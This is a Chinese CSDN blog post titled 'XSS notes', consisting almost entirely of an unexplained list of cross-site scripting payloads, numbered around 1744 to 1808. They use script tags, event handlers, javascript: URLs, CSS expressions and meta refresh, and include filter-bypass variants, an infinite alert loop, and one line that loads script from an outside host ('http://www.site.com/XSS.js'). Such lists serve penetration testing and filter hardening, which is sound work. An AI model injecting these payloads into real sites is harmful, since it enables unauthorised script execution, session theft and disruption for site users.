XSS笔记

czqc

已于 2023-11-08 09:54:52 修改

阅读量74

点赞数

文章标签： xss 网络网络安全

于 2023-11-08 09:49:22 首次发布

本文链接：https://blog.youkuaiyun.com/m0_53515309/article/details/134281840

版权

本文详细列举了多种HTML代码片段，展示了XSS（Cross-SiteScripting）攻击的常见手法，包括利用`<script>`标签、CSS背景、元标签等进行恶意脚本植入，警示开发者注意网站安全防护。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

"><script alert(1744))</script>
'">><script>alert(1745)</script>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(1746);\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(1747);\">
<script>1748 1748 = 1; alert(1748)</script>
<STYLE type="text/css">BODY{background:url("javascript:alert(1749)")}</STYLE>
<?='<SCRIPT>alert(1750)</SCRIPT>'?>
" onfocus=alert(1751) "> <"
<FRAMESET><FRAME SRC=\"javascript:alert(1752);\"></FRAMESET>
<STYLE>li {list-style-image: url(\"javascript:alert(1753)\");}</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\0IPT>alert(1754)</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(1755)>\";' > out
<br size=\"&{alert(1756)}\">
<scrscriptipt>alert(1757)</scrscriptipt>
</script><script>alert(1759)</script>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1760)>
[color=red width=expression(alert(1761))][color]
<BASE HREF="javascript:alert(1762);//">
"></iframe><script>alert(1763)</script>
<body onLoad="while(true) alert(1764);">
'"></title><script>alert(1765)</script>
</textarea>'"><script>alert(1766)</script>
'""><script language="JavaScript"> alert(1767);</script>
</script></script><<<<script><>>>><<<script>alert(1768)</script>
<INPUT TYPE="IMAGE" SRC="javascript:alert(1769);">
'></select><script>alert(1770)</script>
a="get";b="URL";c="javascript:";d="alert(1771);";eval(a+b+c+d);
='><script>alert(1772)</script>
<body background=javascript:'"><script>alert(1773)</script>></body>
">/XaDoS/><script>alert(1774)</script><script src="http://www.site.com/XSS.js"></script>
">/KinG-InFeT.NeT/><script>alert(1775)</script>
!--" /><script>alert(1776);</script>
<script>alert(1777)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(1778)</script>><marquee><h1>XSS by xss</h1></marquee>
'"></title><script>alert(1779)</script>><marquee><h1>XSS by xss</h1></marquee>
<img """><script>alert(1780)</script><marquee><h1>XSS by xss</h1></marquee>
<script>alert(1781)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(1782)</script>"><script>alert("XSS by \nxss</h1></marquee>
'"></title><script>alert(1783)</script>><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:alert(1784);"></iframe><marquee><h1>XSS by xss</h1></marquee>
'><SCRIPT>alert(1785))</SCRIPT><img src="" alt='
"><SCRIPT>alert(1786))</SCRIPT><img src="" alt="
\'><SCRIPT>alert(1787))</SCRIPT><img src="" alt=\'
'); alert(1788); var x='
\\'); alert(1789);var x=\'
//--></SCRIPT><SCRIPT>alert(1790));
>"><ScRiPt%20%0a%0d>alert(1791)%3B</ScRiPt>
<SCRIPT> alert(1792); </SCRIPT>
<BODY ONLOAD=alert(1793)>
<BODY BACKGROUND="javascript:alert(1794)">
<IMG SRC="javascript:alert(1795);">
<IMG DYNSRC="javascript:alert(1796)">
<IMG LOWSRC="javascript:alert(1797)">
<INPUT TYPE="IMAGE" SRC="javascript:alert(1798);">
<LINK REL="stylesheet" HREF="javascript:alert(1799);">
<TABLE BACKGROUND="javascript:alert(1800)">
<TD BACKGROUND="javascript:alert(1801)">
<DIV STYLE="background-image: url(javascript:alert(1802))">
<DIV STYLE="width: expression(alert(1803));">
&apos;;alert(1804))//\&apos;;alert(1804))//&quot;;alert(1804))//\&quot;;alert(1804))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(1804))&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;alert(1805)&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;alert(1806))&lt;/SCRIPT&gt;
&lt;BASE HREF=&quot;javascript:alert(1807);//&quot;&gt;
&lt;BGSOUND SRC=&quot;javascript:alert(1808);&quot;&gt;